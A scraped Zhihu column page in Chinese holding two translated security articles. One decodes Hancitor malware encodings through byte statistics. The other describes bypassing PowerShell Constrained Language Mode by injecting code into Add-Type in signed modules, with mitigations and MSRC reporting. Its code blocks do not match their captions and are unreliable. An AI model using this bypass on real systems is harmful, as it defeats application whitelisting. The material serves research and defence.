家族的统计分析方法，如Hancitor恶意文档。我们将逐步介绍这种方法。</p><h2><b>例子</b></h2><p>首先我们从<a href=\"https://en.wikipedia.org/wiki/Base64\">BASE64</a>编码的Windows可执行文件（PE文件）开始。在BASE64编码中，64个不同的字符用于编码字节。64是6位，因此在BASE64编码时有一个开销，因为编码一个字节（8位）将需要2个BASE64字符（6位+ 2位）。</p><p>使用<a href=\"https://blog.didierstevens.com/2017/08/12/update-byte-stats-py-version-0-0-6/\">byte-stats.py</a>，我们可以为文件中找到的不同字节值生成统计信息。当我们使用它来分析我们的BASE64编码的可执行文件时，我们得到这个输出：</p><img src=\"v2-78dcef36fbc5747a90dd8b6c887b92af.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"485\"><p>在上面的截图中，我们有64个不同的字节值，100％的字节值是BASE64字符。这是一个很强的指示，文件base64.txt中的数据确实是BASE64编码的。</p><p>使用byte-stats.py的选项-r，我们将介绍文件中找到的字节值的范围：</p><img src=\"v2-831090a0e2600b84d13723ff412ac983.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"646\"><p>识别的范围/ 0123456789，ABCDEFGHIJKLMNOPQRSTUVWXYZ和abcdefghijklmnopqrstuvwxyz（和单个字符+）确认这确实是BASE64数据。填充的BASE64数据将在最后包括一个或两个填充字符（填充字符为=）。</p><p>使用<a href=\"https://blog.didierstevens.com/2017/07/02/update-base64dump-py-version-0-0-7/\">base64dump.py</a>（BASE64解码工具）解码此文件，确认它是BASE64编码的PE文件（<a href=\"https://blog.didierstevens.com/2017/07/02/update-base64dump-py-version-0-0-7/\">cfr。MZ</a>头）。</p><img src=\"v2-8ce9c657fa6955a641451a02e3a2e0f9.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"293\"><p>现在，有时编码比BASE64编码要复杂一些。</p><p>我们来看看另一个例子：</p><img src=\"v2-8b101a5355ed8dfe9586fad69013926a.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"646\"><p>例如，小写字母的范围以d开头（代替a），以}结尾（而不是z）。我们观察到其他范围的类似变化。</p><p>看起来所有的BASE64字符都向右移动了3个位置。</p><p>我们可以通过从每个字节值减去3来测试这个假设（即向左移3个位置）并分析结果。要从每个字节减去3，我们使用程序<a href=\"https://blog.didierstevens.com/programs/translate/\">translate.py</a>。translate.py将文件作为输入和算术运算：操作“byte-3”将从每个字节值中减去3。</p><p>这是当我们对左移3个位置的字节值进行统计分析时得到的结果：</p><img src=\"v2-ade4609704c4d86e92139f5b06123208.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"646\"><p>在上面的截图中，我们看到64个唯一字节，所有字节都是BASE64字符。当我们尝试用base64dump来解码它，我们确实可以恢复可执行文件：</p><img src=\"v2-3fddf75d35cd7cd91a4d414bf5335201.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"172\"><p>我们继续谈谈另一个例子。提供Hancitor恶意软件的恶意文件使用的编码更复杂一些：</p><img src=\"v2-c9b157919cda8ca5eff89ff228538c7a.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"646\"><p>这一次，我们有68个独特的字节值，当我们看一个范围的左边时，范围被移位了3个位置，但是当我们看到一个范围的右边时，它们看起来被移位了4个位置。</p><h2><b>这怎么解释？</b></h2><p>一个假设是，恶意软件是通过将3个位置的某些字节移位而编码的，而另外4个位置的字节进行编码。一个简单的方法是交替这个移位：第一个字节移位3个位置，第二个位移4个位置，第三个位移3个位置，第四个位置4个位置，依次类推…</p><p>我们来试试这个假设，使用translate.py根据位置移动3或4个位置：</p><img src=\"v2-39d442c4c583ad5adc8e7cdb9fc6b60a.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"646\"><p>变量位置是给出字节位置的整数（以0开始），位置％2是除法的剩余部分2.表达式位置％2 == 0对于偶数位置为真，对于不均匀位置为False。IFF是IF函数：如果参数1为真，则返回参数2，否则返回参数3.这是我们如何将输入与3和4交替转换。</p><p>但是你可以看到，结果肯定不是BASE64，所以我们的假设是错误的。</p><p>我们来试着用4和3（而不是3和4）：</p><img src=\"v2-89ae1118592d585dd95cef11deb8478f.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"646\"><p>这次我们得到BASE64的范围。</p><p>使用base64dump.py进行测试证实了我们的假设：</p><img src=\"v2-35812caba4b1bc2b269d87a3d5528083.jpg\" data-caption=\"\" data-rawwidth=\"625\" data-rawheight=\"199\"><h2><b>结论</b></h2><p>恶意软件作者可以使用通过统计分析和测试简单假设逆向工程的编码方案。而无需执行代码的逆向工程。</p><blockquote>本文翻译自：https://blog.nviso.be/2017/08/30/decoding-malware-via-simple-statistical-analysis/，如若转载，请注明原文地址： <a href=\"http://www.4hou.com/web/8053.html\">http://www.4hou.com/web/8053.html</a>  更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-20T02:48:44.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":4,"state":"published","isLiked":false,"slug":"30291905","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-20T10:48:44+08:00","links":{"comments":"/api/posts/30291905/comments"},"url":"/p/30291905","titleImage":"","summary":"","href":"/api/posts/30291905","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":4},"30293037":{"title":"利用PowerShell代码注入漏洞绕过约束语言模式","author":"hou-hou-4-12","content":"<h2><b>介绍</b></h2><p><a href=\"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes\">受限语言模式</a>是缓解PowerShell攻击的一种方式，能够阻止执行任意未签名的代码。当Device Guard或者AppLocker处于强制模式时，它是最实际有效的强制安全措施，因为未被策略允许的任何脚本或者模块都位于受限语言模式下，这严重限制了攻击者执行未签名的代码。通过限制语言模式限制了Add-Type的调用。限制Add-Type明显是考虑到了它能编译并加载任意的C#代码到你的运行空间中去。</p><p>但策略允许的PowerShell代码运行在“Full Language”模式下，允许执行Add-Type。这样，微软签名的PowerShell代码就能调用Add-Type。不相信吗？运行下面的命令你就会发现我是正确的。</p><h2><b>利用</b></h2><p>现在想象如果以下的PowerShell模块代码（暂且被称为“VulnModule”）是由Microsoft签名的。</p><code lang=\"text\">ls C:* -Recurse -Include '*.ps1', '*.psm1' |\n Select-String -Pattern 'Add-Type' |\n Sort Path -Unique |\n % { Get-AuthenticodeSignature -FilePath $_.Path } |\n ? { $_.SignerCertificate.Subject -match 'Microsoft' }</code><p>那么有什么可以影响来自受限语言模式的Add-Type的输入呢？</p><p>让我们一起思考下吧：</p><p>1. Add-Type作为类型定义传递给一个全局变量。因为它是全局的，它可以被任何人访问，包括我们和攻击者。</p><p>2. 问题是，签名的代码先于调用Add-Type就定义了全局变量，因此如果我们使用自定义的恶意C#代码，这将会被合法的代码覆盖。</p><p>3. 你知道能用Set-Variable cmdlet来设置变量只读吗？你知道我现在在想什么了吧？</p><h2><b>武器化</b></h2><p>好的，为了从受限语言模式注入代码到Add-Type，攻击者需要将它们的恶意代码定义为只读变量，从而设置全局“Source”变量来拒绝签名的代码。这是一个武器化的概念证明：</p><code lang=\"text\">  $Global:Source = @'\n    public class Test {\n        public static string PrintString(string inputString) {\n            return inputString;\n        }\n    }'@\nAdd-Type -TypeDefinition $Global:Source</code><p>简要说明下Add-Type注入缺陷。受限语言模式的一个限制是你不能调用非白名单类的.NET方法，但有两个例外：属性（getter方法）和ToString方法。在上面的PoC中，我选择了实现一个静态的ToString方法，因为ToString允许传递参数（getter不行）。我的类也是静态的，因为.NET类的白名单只在New-Object实例化对象时适用。</p><p>那么上面的漏洞代码是否听起来不切实际呢？你可以这么认为，但是<a href=\"https://technet.microsoft.com/en-us/library/dn818911.aspx\">Microsoft.PowerShell.ODataUtils</a> 模块中的Microsoft.PowerShell.ODataUtils也有这个漏洞。微软在 <a href=\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0215\">CVE-2017-0215</a>, <a href=\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0216\">CVE-2017-0216</a>, <a href=\"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0219\">CVE-2017-0219</a>中修复了它。说实话，我不太记得了。<a href=\"https://twitter.com/enigma0x3\">Matt Nelson</a> 和我都报告了这些注入bug。</p><h2><b>缓解攻击</b></h2><p>尽管微软在推动解决这个漏洞，我们有什么可以做的呢？</p><p>有个关于UMCI绕过二进制的有效的黑名单规则是<a href=\"https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-policy-rules-and-file-rules#code-integrity-file-rule-levels\">文件名规则</a>，其能基于PE文件中版本信息资源中的原始文件名来阻止程序执行。PowerShell很明显不是个PE文件，它是文本文件，因此文件名规则不适用。但是，你可以通过使用哈希规则强制阻止有漏洞的脚本。Okay…要是相同脚本有不止一个漏洞呢？目前为止你只阻止一个哈希。你开始注意这个问题了吗？为了有效的阻止之前所有有漏洞的版本的脚本，你必须知道所有有漏洞的版本的哈希。微软意识到了问题并尽最大努力来扫描所有之前发布的有漏洞脚本，且收集哈希将他们整合到了<a href=\"https://docs.microsoft.com/en-us/windows/device-security/device-guard/deploy-code-integrity-policies-steps#create-a-code-integrity-policy-from-a-golden-computer\">黑名单</a>中。</p><p>通过他们的哈希阻止所有版本的有漏洞的脚本有一定挑战性，但能一定程度上阻止攻击。这就是为什么一直迫切需要只允许PowerShell 5的执行并要开启scriptblock日志记录。<a href=\"https://twitter.com/Lee_Holmes\">Lee Holmes</a> 有篇关于如何有效的阻止老版本的PowerShell的<a href=\"http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/\">博文</a>。</p><p>另一种方式是系统中大部分脚本和二进制都是catalog和Authenticode签名的。Catalog签名不是意味着脚本有内嵌的Authenticode签名，而是它的哈希存储在微软签名的catalog文件中。因此当微软更新时，老版本的哈希将会过期，将不再是被签名的了。现在，一个攻击者也能将老的签名的catalog文件插入到catalog存储中。你不得不提权执行操作，关于这个，有很多方法可以绕过Device Guard UMCI。作为一个搜索有漏洞脚本的研究员，首先要寻找具有内嵌Authenticode签名的有漏洞脚本（有字符串“SIG # Begin signature block”的提示）。Matt Nelson说这种bypass脚本存在。</p><h2><b>报告</b></h2><p>如果你找到了一种绕过，请将它上报给<a href=\"http://mailto:secure@microsoft.com/\">secure@microsoft.com</a> ，你将得到一个CVE。PowerShell团队积极解决注入缺陷，但是他们也主动解决用于影响代码执行的一些方式。</p><h2><b>总结</b></h2><p>尽管受限语言模式能有效的阻止未签名代码的执行，PowerShell和它的签名过的模块或脚本还是有很多攻击面。我鼓励每个人都来寻找更多的注入缺陷，上报他们，通过官方的MSRC获得荣誉，并使得PowerShell生态变得更加安全。同时希望，PowerShell的代码作者要自我检视。</p><p>现在我解释了所有的内容，但是因为设计缺陷允许利用竞争条件，所以调用Add-Type还是有<a href=\"http://www.exploit-monday.com/2017/07/bypassing-device-guard-with-dotnet-methods.html\">注入的漏洞</a>。我希望能继续阐述这些问题，且希望微软将考虑解决这个基础问题。</p><blockquote>如若转载，请注明原文地址： <a href=\"http://www.4hou.com/vulnerable/8055.html\">http://www.4hou.com/vulnerable/8055.html</a> 更多内容请关注“嘶吼专业版”——Pro4hou</blockquote>","updated":"2017-10-20T03:07:46.000Z","canComment":false,"commentPermission":"anyone","commentCount":0,"likeCount":2,"state":"published","isLiked":false,"slug":"30293037","isTitleImageFullScreen":false,"rating":"none","sourceUrl":"","publishedTime":"2017-10-20T11:07:46+08:00","links":{"comments":"/api/posts/30293037/comments"},"url":"/p/30293037","titleImage":"","summary":"","href":"/api/posts/30293037","meta":{"previous":null,"next":null},"snapshotUrl":"","commentsCount":0,"likesCount":2}},"User":{"hou-hou-4-12":{"isFollowed":false,"name":"嘶吼RoarTalk","headline":"嘶吼正式上线了（撒花！）网站地址：http://www.4hou.com/ 欢迎访问","avatarUrl":"https://pic1.zhimg.com/v2-2e80ce7ba278017115a176c46fe6910c_s.jpg","isFollowing":false,"type":"people","slug":"hou-hou-4-12","bio":"网络安全观察者","hash":"8cc9acba0448da624108afb3f26be573","uid":770292237832556500,"isOrg":false,"description":"嘶吼正式上线了（撒花！）网站地址：http://www.4hou.com/ 欢迎访问","profileUrl":"https://www.zhihu.com/people/hou-hou-4-12","avatar":{"id":"v2-2e80ce7ba278017115a176c46fe6910c","template":"https://pic1.zhimg.com/{id}_{size}.jpg"},"isOrgWhiteList":false}},"Comment":{},"favlists":{}},"me":{},"global":{"experimentFeatures":{"ge3":"ge3_9","ge2":"ge2_1","nwebStickySidebar":"sticky","newMore":"new","liveReviewBuyBar":"live_review_buy_bar_2","liveStore":"ls_a2_b2_c1_f2","isOffice":"false","homeUi2":"default","answerRelatedReadings":"qa_recommend_with_ads_and_article","remixOneKeyPlayButton":"headerButton","qrcodeLogin":"qrcode","newBuyBar":"livenewbuy3","newMobileColumnAppheader":"new_header","zcmLighting":"zcm","favAct":"default","appStoreRateDialog":"close","mobileQaPageProxyHeifetz":"m_qa_page_nweb","iOSNewestVersion":"4.2.0","default":"None","wechatShareModal":"wechat_share_modal_show","qaStickySidebar":"sticky_sidebar","androidProfilePanel":"panel_b"}},"columns":{"next":{},"roartalk":{"pins":[],"followersCount":2863,"creator":{"bio":"信息安全从业者,半条传媒狗;F.S.T核心成员","isFollowing":false,"hash":"dc82f97f581a6023958485a06d4d3530","uid":39650022391808,"isOrg":false,"slug":"missryan","isFollowed":false,"description":"传媒狗跨界信息安全行业；二级心理咨询师，欢迎大蜜妹子私信交流；你才是白帽子，你们全家都是白帽子，谢谢。没了。","name":"Mystery","profileUrl":"https://www.zhihu.com/people/missryan","avatar":{"id":"ba6d36050","template":"https://pic1.zhimg.com/{id}_{size}.jpg"},"isOrgWhiteList":false},"topics":[{"url":"https://www.zhihu.com/topic/19561983","id":"19561983","name":"信息安全"},{"url":"https://www.zhihu.com/topic/19554927","id":"19554927","name":"网络安全"},{"url":"https://www.zhihu.com/topic/19746460","id":"19746460","name":"互联网安全产品公司"}],"activateState":"activated","href":"/api/columns/roartalk","acceptSubmission":true,"firstTime":false,"postTopics":[{"postsCount":554,"id":3929,"name":"信息安全"},{"postsCount":282,"id":1567,"name":"网络安全"},{"postsCount":149,"id":38993,"name":"技术分析"},{"postsCount":44,"id":18104,"name":"移动安全"},{"postsCount":41,"id":1885,"name":"公共关系"},{"postsCount":36,"id":2823,"name":"黑客 (Hacker)"},{"postsCount":30,"id":13124,"name":"个人信息安全"},{"postsCount":23,"id":348,"name":"物联网"},{"postsCount":20,"id":126668,"name":"信息网络安全"},{"postsCount":20,"id":9796,"name":"恶意软件"},{"postsCount":18,"id":117238,"name":"PowerShell"},{"postsCount":17,"id":1050,"name":"工具"},{"postsCount":17,"id":13846,"name":"DDoS"},{"postsCount":15,"id":17686,"name":"Android"},{"postsCount":14,"id":1355,"name":"Linux"},{"postsCount":14,"id":158403,"name":"2016 年美国大选"},{"postsCount":13,"id":77,"name":"iOS"},{"postsCount":13,"id":17912,"name":"漏洞"},{"postsCount":13,"id":14116,"name":"系统安全"},{"postsCount":13,"id":5231,"name":"谷歌 (Google)"},{"postsCount":13,"id":167696,"name":"移动金融安全"},{"postsCount":12,"id":73849,"name":"软件安全"},{"postsCount":12,"id":151946,"name":"安全漏洞"},{"postsCount":11,"id":4311,"name":"资讯"},{"postsCount":11,"id":113443,"name":"系统漏洞"},{"postsCount":10,"id":39594,"name":"密码安全"},{"postsCount":10,"id":68402,"name":"渗透测试"},{"postsCount":10,"id":97,"name":"雅虎 (Yahoo!)"},{"postsCount":9,"id":40,"name":"Facebook"},{"postsCount":9,"id":102424,"name":"NSA"},{"postsCount":9,"id":9388,"name":"黑客文化"},{"postsCount":9,"id":484,"name":"微软（Microsoft）"},{"postsCount":9,"id":13844,"name":"僵尸网络"},{"postsCount":8,"id":520,"name":"苹果公司 (Apple Inc.)"},{"postsCount":7,"id":4482,"name":"杀毒软件"},{"postsCount":7,"id":5548,"name":"俄罗斯"},{"postsCount":7,"id":797,"name":"Microsoft Windows"},{"postsCount":6,"id":5708,"name":"手机安全"},{"postsCount":6,"id":85016,"name":"国家安全"},{"postsCount":6,"id":33379,"name":"联邦调查局"},{"postsCount":6,"id":173191,"name":"黑客工具"},{"postsCount":6,"id":1302,"name":"MySQL"},{"postsCount":6,"id":4162,"name":"维基解密"},{"postsCount":6,"id":155844,"name":"CTF(Capture The Flag)"},{"postsCount":6,"id":781,"name":"数据安全"},{"postsCount":6,"id":179939,"name":"Wana Decrypt0r 2.0（计算机病毒攻击）"},{"postsCount":6,"id":143422,"name":"企业信息安全"},{"postsCount":6,"id":6539,"name":"报道"},{"postsCount":6,"id":6366,"name":"Warez"},{"postsCount":5,"id":18953,"name":"计算机病毒"},{"postsCount":5,"id":11587,"name":"XSS"},{"postsCount":5,"id":119898,"name":"路由器安全"},{"postsCount":5,"id":319,"name":"Twitter"},{"postsCount":5,"id":29478,"name":"网络钓鱼诈骗"},{"postsCount":5,"id":8874,"name":"软件后门"},{"postsCount":5,"id":28666,"name":"私人信息泄露"},{"postsCount":5,"id":3667,"name":"卡巴斯基（Kaspersky）"},{"postsCount":5,"id":17,"name":"Mac"},{"postsCount":5,"id":23704,"name":"盘点"},{"postsCount":5,"id":6063,"name":"HTTPS"},{"postsCount":5,"id":121064,"name":"比特币 (Bitcoin) 交易平台"},{"postsCount":5,"id":12211,"name":"Google Play"},{"postsCount":5,"id":179960,"name":"勒索软件"},{"postsCount":4,"id":23332,"name":"Anonymous 匿名者（黑客组织）"},{"postsCount":4,"id":1739,"name":"Android 应用"},{"postsCount":4,"id":160767,"name":"代码注入"},{"postsCount":4,"id":159978,"name":"唐纳德·约翰·特朗普（Donald J. Trump）"},{"postsCount":4,"id":156328,"name":"Microsoft Edge 浏览器"},{"postsCount":4,"id":100,"name":"Gmail"},{"postsCount":4,"id":133317,"name":"木马病毒"},{"postsCount":4,"id":130037,"name":"无线网络安全"},{"postsCount":4,"id":898,"name":"PHP"},{"postsCount":4,"id":120932,"name":"metasploit"},{"postsCount":4,"id":140,"name":"社交网络"},{"postsCount":4,"id":118249,"name":"数据库安全"},{"postsCount":4,"id":1727,"name":"客户端"},{"postsCount":4,"id":8649,"name":"垃圾邮件"},{"postsCount":4,"id":9226,"name":"预测"},{"postsCount":4,"id":105888,"name":"服务器安全"},{"postsCount":4,"id":10545,"name":"DNS"},{"postsCount":4,"id":11096,"name":"优步（Uber）"},{"postsCount":4,"id":103229,"name":"爱德华·斯诺登（Edward Snowden）"},{"postsCount":4,"id":298,"name":"极客（Geek）"},{"postsCount":4,"id":688,"name":"打印机"},{"postsCount":4,"id":39796,"name":"用户数据泄露"},{"postsCount":4,"id":23658,"name":"中央情报局"},{"postsCount":4,"id":16712,"name":"比特币 (Bitcoin)"},{"postsCount":4,"id":7576,"name":"风险控制"},{"postsCount":3,"id":7089,"name":"朝鲜"},{"postsCount":3,"id":3646,"name":"Java"},{"postsCount":3,"id":4012,"name":"社交产品"},{"postsCount":3,"id":789,"name":"域名"},{"postsCount":3,"id":116280,"name":"APT 攻击"},{"postsCount":3,"id":140756,"name":"手机木马"},{"postsCount":3,"id":106515,"name":"网络诈骗"},{"postsCount":3,"id":25,"name":"iPhone"},{"postsCount":3,"id":769,"name":"JavaScript"},{"postsCount":3,"id":104490,"name":"网络摄像头"},{"postsCount":3,"id":10528,"name":"网络监控"},{"postsCount":3,"id":177705,"name":"Year Zero CIA黑客计划"},{"postsCount":3,"id":104259,"name":"通信安全"},{"postsCount":3,"id":101,"name":"Google Chrome"},{"postsCount":3,"id":1204,"name":"Wi-Fi"},{"postsCount":3,"id":92714,"name":"BlackHat"},{"postsCount":3,"id":122074,"name":"信用卡安全"},{"postsCount":3,"id":1836,"name":"自动柜员机 (ATM)"},{"postsCount":3,"id":53025,"name":"黑市"},{"postsCount":3,"id":40588,"name":"UAC"},{"postsCount":3,"id":847,"name":"英特尔 (Intel)"},{"postsCount":3,"id":15567,"name":"程序漏洞"},{"postsCount":3,"id":25693,"name":"操作系统内核"},{"postsCount":3,"id":16212,"name":"GSM"},{"postsCount":3,"id":120767,"name":"内网安全"},{"postsCount":3,"id":3527,"name":"MongoDB"},{"postsCount":3,"id":36,"name":"Skype"},{"postsCount":3,"id":18024,"name":"无人机（Drone）"},{"postsCount":3,"id":22208,"name":"网络渗透"},{"postsCount":3,"id":21630,"name":"系统补丁"},{"postsCount":2,"id":9152,"name":"FTP"},{"postsCount":2,"id":1373,"name":"惠普 (HP)"},{"postsCount":2,"id":17530,"name":"ISP（互联网服务提供商）"},{"postsCount":2,"id":16443,"name":"银行卡"},{"postsCount":2,"id":23832,"name":"SHA-1"},{"postsCount":2,"id":15637,"name":"命令行控制"},{"postsCount":2,"id":28354,"name":"域名安全"},{"postsCount":2,"id":472,"name":"美国"},{"postsCount":2,"id":33528,"name":"WMI"},{"postsCount":2,"id":350,"name":"人工智能"},{"postsCount":2,"id":14101,"name":"IP 地址"},{"postsCount":2,"id":40217,"name":"泄密"},{"postsCount":2,"id":646,"name":"优酷"},{"postsCount":2,"id":43412,"name":"计算机安全"},{"postsCount":2,"id":13776,"name":"Joomla!"},{"postsCount":2,"id":56584,"name":"逻辑分析"},{"postsCount":2,"id":12789,"name":"iCloud"},{"postsCount":2,"id":72991,"name":"华为路由器"},{"postsCount":2,"id":76504,"name":"三星电子 (Samsung)"},{"postsCount":2,"id":78628,"name":"账户安全"},{"postsCount":2,"id":225,"name":"前端开发"},{"postsCount":2,"id":717,"name":"英国"},{"postsCount":2,"id":11608,"name":"巴拉克·侯赛因·奥巴马（Barack Hussein Obama）"},{"postsCount":2,"id":10767,"name":"Struts 2"},{"postsCount":2,"id":10442,"name":"个人隐私"},{"postsCount":2,"id":9703,"name":"互联网隐私"},{"postsCount":2,"id":785,"name":"网页浏览器"},{"postsCount":2,"id":108568,"name":"白帽黑客（White Hat）"},{"postsCount":2,"id":21128,"name":"网络犯罪"},{"postsCount":2,"id":175,"name":"即时通讯 (IM)"},{"postsCount":2,"id":6064,"name":"SSL 证书"},{"postsCount":2,"id":119293,"name":"区块链(Blockchain)"},{"postsCount":2,"id":5979,"name":"Cisco（思科）"},{"postsCount":2,"id":5917,"name":"数据加密"},{"postsCount":2,"id":5288,"name":"GitHub"},{"postsCount":2,"id":4525,"name":".NET"},{"postsCount":2,"id":4253,"name":"云服务"},{"postsCount":2,"id":992,"name":"电子邮箱"},{"postsCount":2,"id":4161,"name":"朱利安·保罗·阿桑奇（Julian Paul Assange）"},{"postsCount":2,"id":135680,"name":"Docker"},{"postsCount":2,"id":140171,"name":"网络安全设备"},{"postsCount":2,"id":4034,"name":"利比亚"},{"postsCount":2,"id":3633,"name":"网上银行"},{"postsCount":2,"id":151727,"name":"企业安全"},{"postsCount":2,"id":154649,"name":"Windows 10"},{"postsCount":2,"id":3074,"name":"数据分析"},{"postsCount":2,"id":159679,"name":"互联网监控"},{"postsCount":2,"id":2199,"name":"迪士尼（Disney）"},{"postsCount":2,"id":159998,"name":"希拉里邮件门、叛国案、克林顿基金会丑闻等系列事件"},{"postsCount":2,"id":160641,"name":"Signal（Facebook 产品）"},{"postsCount":2,"id":2042,"name":"Android 手机"},{"postsCount":2,"id":1205,"name":"蓝牙（Bluetooth）"},{"postsCount":2,"id":174403,"name":"大数据风控"},{"postsCount":2,"id":177088,"name":"勒索病毒"},{"postsCount":2,"id":1398,"name":"京东"},{"postsCount":2,"id":179821,"name":"零日漏洞 (0day)"},{"postsCount":2,"id":21992,"name":"网络防火墙"},{"postsCount":1,"id":3796,"name":"增强现实（AR）"},{"postsCount":1,"id":11192,"name":"开房记录"},{"postsCount":1,"id":11270,"name":"高通 (Qualcomm)"},{"postsCount":1,"id":11452,"name":"混淆"},{"postsCount":1,"id":11551,"name":"恶意代码"},{"postsCount":1,"id":729,"name":"任天堂 (Nintendo)"},{"postsCount":1,"id":3798,"name":"应用程序 (application)"},{"postsCount":1,"id":11662,"name":"经验分享"},{"postsCount":1,"id":11696,"name":"代码质量"},{"postsCount":1,"id":11894,"name":"恐怖主义"},{"postsCount":1,"id":11951,"name":"草榴"},{"postsCount":1,"id":3826,"name":"团队协作"},{"postsCount":1,"id":12223,"name":"二进制"},{"postsCount":1,"id":12327,"name":"域名解析"},{"postsCount":1,"id":12506,"name":"借记卡"},{"postsCount":1,"id":1015,"name":"Xbox"},{"postsCount":1,"id":1949,"name":"PayPal"},{"postsCount":1,"id":13278,"name":"阿拉伯叙利亚共和国"},{"postsCount":1,"id":13484,"name":"研究报告"},{"postsCount":1,"id":13512,"name":"前端入门"},{"postsCount":1,"id":13537,"name":"周报"},{"postsCount":1,"id":13736,"name":"CyanogenMod"},{"postsCount":1,"id":1951,"name":"Google 地图"},{"postsCount":1,"id":648,"name":"视频网站"},{"postsCount":1,"id":2016,"name":"网上购物"},{"postsCount":1,"id":13871,"name":"联想 (Lenovo)"},{"postsCount":1,"id":13883,"name":"Microsoft Visual Studio"},{"postsCount":1,"id":13935,"name":"DNSPod"},{"postsCount":1,"id":2025,"name":"印度"},{"postsCount":1,"id":618,"name":"数据库"},{"postsCount":1,"id":14252,"name":"黑色星期五"},{"postsCount":1,"id":14441,"name":"数据可视化"},{"postsCount":1,"id":14496,"name":"个人博客"},{"postsCount":1,"id":14499,"name":"有意思"},{"postsCount":1,"id":14693,"name":"iframe"},{"postsCount":1,"id":15215,"name":"医疗器械"},{"postsCount":1,"id":15237,"name":"雅虎邮箱"},{"postsCount":1,"id":15250,"name":"热点预测"},{"postsCount":1,"id":4163,"name":"隐私"},{"postsCount":1,"id":1698,"name":"App Store"},{"postsCount":1,"id":15761,"name":"Root (Android)"},{"postsCount":1,"id":942,"name":"API"},{"postsCount":1,"id":4345,"name":"监控"},{"postsCount":1,"id":4373,"name":"Hadoop"},{"postsCount":1,"id":17362,"name":"智能家居"},{"postsCount":1,"id":17469,"name":"JSON"},{"postsCount":1,"id":4387,"name":"帐号"},{"postsCount":1,"id":595,"name":"iOS 应用"},{"postsCount":1,"id":570,"name":"汽车"},{"postsCount":1,"id":4446,"name":"邮箱"},{"postsCount":1,"id":18057,"name":"内容审查"},{"postsCount":1,"id":558,"name":"VPN"},{"postsCount":1,"id":24,"name":"macOS"},{"postsCount":1,"id":19678,"name":"iPhone 解锁"},{"postsCount":1,"id":19922,"name":"Flash Player"},{"postsCount":1,"id":20154,"name":"iMessage"},{"postsCount":1,"id":20821,"name":"Microsoft SQL Server"},{"postsCount":1,"id":21016,"name":"ARM 架构"},{"postsCount":1,"id":2120,"name":"Flickr"},{"postsCount":1,"id":21321,"name":"TCP/IP"},{"postsCount":1,"id":21336,"name":"Chrome 扩展程序"},{"postsCount":1,"id":21576,"name":"华为手机"},{"postsCount":1,"id":4510,"name":"美图秀秀"},{"postsCount":1,"id":21973,"name":"直播"},{"postsCount":1,"id":2155,"name":"中国移动"},{"postsCount":1,"id":22167,"name":"终端命令"},{"postsCount":1,"id":4667,"name":"用户隐私"},{"postsCount":1,"id":22244,"name":"Avast"},{"postsCount":1,"id":22262,"name":"数字证书"},{"postsCount":1,"id":22682,"name":"Hook"},{"postsCount":1,"id":22689,"name":"Steam"},{"postsCount":1,"id":4894,"name":"肯德基（KFC）"},{"postsCount":1,"id":23493,"name":"App Store 排名"},{"postsCount":1,"id":23557,"name":"假新闻"},{"postsCount":1,"id":23560,"name":"bootloader"},{"postsCount":1,"id":4930,"name":"Opera 浏览器"},{"postsCount":1,"id":494,"name":"iOS 越狱"},{"postsCount":1,"id":5085,"name":"IT 时事"},{"postsCount":1,"id":25094,"name":"摩根大通（J.P. Morgan）"},{"postsCount":1,"id":25244,"name":"辟谣"},{"postsCount":1,"id":25402,"name":"支付安全"},{"postsCount":1,"id":25405,"name":"小米手机"},{"postsCount":1,"id":25613,"name":"解密"},{"postsCount":1,"id":1300,"name":"建议"},{"postsCount":1,"id":25669,"name":"数据传输"},{"postsCount":1,"id":25682,"name":"共和党（美国）"},{"postsCount":1,"id":5144,"name":"Microsoft Word"},{"postsCount":1,"id":26211,"name":"风险管理"},{"postsCount":1,"id":26442,"name":"中国建设银行"},{"postsCount":1,"id":26776,"name":"公共安全"},{"postsCount":1,"id":28347,"name":"评级"},{"postsCount":1,"id":873,"name":"网易"},{"postsCount":1,"id":2172,"name":"IPv6"},{"postsCount":1,"id":28935,"name":"VBScript"},{"postsCount":1,"id":458,"name":"科普"},{"postsCount":1,"id":29515,"name":"黑客攻击"},{"postsCount":1,"id":29730,"name":"汽车安全"},{"postsCount":1,"id":30674,"name":"分析报告"},{"postsCount":1,"id":31767,"name":"OAuth 2.0"},{"postsCount":1,"id":31876,"name":"智能交通"},{"postsCount":1,"id":31891,"name":"影视作品"},{"postsCount":1,"id":32224,"name":"车联网"},{"postsCount":1,"id":32516,"name":"用户画像"},{"postsCount":1,"id":33111,"name":"电子烟"},{"postsCount":1,"id":33268,"name":"VISA 卡"},{"postsCount":1,"id":447,"name":"维基百科"},{"postsCount":1,"id":33416,"name":"马力欧（游戏角色）"},{"postsCount":1,"id":2180,"name":"智能电视"},{"postsCount":1,"id":33705,"name":"三星手机"},{"postsCount":1,"id":33939,"name":"反病毒软件"},{"postsCount":1,"id":34445,"name":"个人信息"},{"postsCount":1,"id":34454,"name":"金融常识"},{"postsCount":1,"id":34471,"name":"网络欺诈"},{"postsCount":1,"id":34788,"name":"Intel Security（McAfee）"},{"postsCount":1,"id":34996,"name":"Microsoft Exchange"},{"postsCount":1,"id":35092,"name":"欧洲联盟（EU）"},{"postsCount":1,"id":35398,"name":"人物访谈"},{"postsCount":1,"id":36070,"name":"工作站 